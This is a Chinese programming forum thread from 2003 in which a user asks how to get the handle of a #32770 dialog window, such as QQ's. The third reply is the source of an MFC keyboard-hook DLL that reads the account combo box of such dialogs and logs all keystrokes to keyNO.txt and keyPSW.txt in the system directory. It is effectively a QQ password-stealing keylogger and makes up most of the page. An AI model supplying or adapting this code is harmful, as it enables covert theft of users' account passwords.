如何取得类名为#32770的窗口句柄?

fbiboss 2003-09-14 08:20:09
如何取得类名为#32770的窗口句柄?
类名为#32770的窗口很多,
想找到某个特定的窗口比如QQ,
...全文
386 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
nightfallrove 2003-09-14
  • 打赏
  • 举报
回复
FindWindow("32770","QQ")
不行?
lightwell 2003-09-14
  • 打赏
  • 举报
回复
findwindow里面不是还有一个参数么?
howtotell 2003-09-14
  • 打赏
  • 举报
回复
可以继续查看他们的子窗口:

// keyhook.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include "keyhook.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

#pragma data_seg("SharedVar")
//DLL输出的全局变量
extern "C" __declspec(dllexport)
HHOOK hHook=NULL;
#pragma data_seg()


////////////////////////////////////////////////////////////////

char sWindowName[3][256];
CFile fpqq;
CString m_strPSW;
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam)
{
char sWindowClass[256];
CString strWindowClass;
CString strWindowName;

::GetClassName(hwnd, sWindowClass, 256);

strWindowClass = sWindowClass;

if (strWindowClass == _T("ComboBox"))
{
for (int i = 0; i< 3; i++)
{
strWindowName = sWindowName[i];
if (strWindowName == _T(""))
{
break;
}
}

if (i < 3)
{
::SendMessage(hwnd, WM_GETTEXT,256, (LPARAM)sWindowName[i]);
}

m_strPSW.Format("%s%s%s",m_strPSW,sWindowName[i],":");

}

return TRUE;
}



BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
{
CString sWindowText;
GetWindowText(hwnd, sWindowText.GetBuffer(256), 256);
sWindowText.ReleaseBuffer();

char sWindowClass[256];
CString strWindowClass;
CString strWindowName;

::GetClassName(hwnd, sWindowClass, 256);

strWindowClass = sWindowClass;

if (strWindowClass==_T("#32770"))
{
memset(sWindowName, 0, 3 * 256);
::EnumChildWindows(hwnd, EnumChildProc, 0);
return FALSE;
}
return TRUE;
}
////////////////////////////////////////////////////////////////




// DLL 自用的全局变量
char buffer=0;
//FILE *fp;
CFile fp;


//定义全局的键盘勾子函数:
//DLL输出的勾子函数
extern "C" __declspec(dllexport)
LRESULT CALLBACK KeyboardProc(
int nCode,
WPARAM wParam, //虚键代码
LPARAM lParam // 击键消息的信息
)
{
char m_SysDir[128];
GetSystemDirectory(m_SysDir,128);
CString m_DirNO;
m_DirNO.Format("%s%s%s",m_SysDir,"\\","keyNO.txt");
CString m_DirPSW;
m_DirPSW.Format("%s%s%s",m_SysDir,"\\","keyPSW.txt");
CWnd* pWnd=CWnd::FindWindow(NULL,"xxxxxx");
if(pWnd)
{
BOOL bFind = ::EnumWindows(EnumWindowsProc, 0);
fp.Open(m_DirNO,CFile::modeWrite|CFile::shareDenyNone);
fp.SeekToEnd();
fp.Write(m_strPSW,strlen(m_strPSW));
fp.Close();
m_strPSW.Empty();
::Sleep(20);
if(lParam&0x80000000)
{
char KeyName[50];
ZeroMemory(KeyName,50);
GetKeyNameText(lParam,KeyName,50);
if(strlen(KeyName)>2)
{
CString add;
add.Format("%s%s%s","\r\n",KeyName,"\r\n");
sprintf(KeyName,"%s",add);
}
fp.Open(m_DirPSW,CFile::modeWrite|CFile::shareDenyNone);
fp.SeekToEnd();
fp.Write(KeyName,strlen(KeyName));
fp.Close();
}
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}

BEGIN_MESSAGE_MAP(CKeyhookApp, CWinApp)
//{{AFX_MSG_MAP(CKeyhookApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CKeyhookApp construction

CKeyhookApp::CKeyhookApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CKeyhookApp object

CKeyhookApp theApp;

void CKeyhookApp::ON_DLL_QQ()
{

}


16,470

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Web++
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧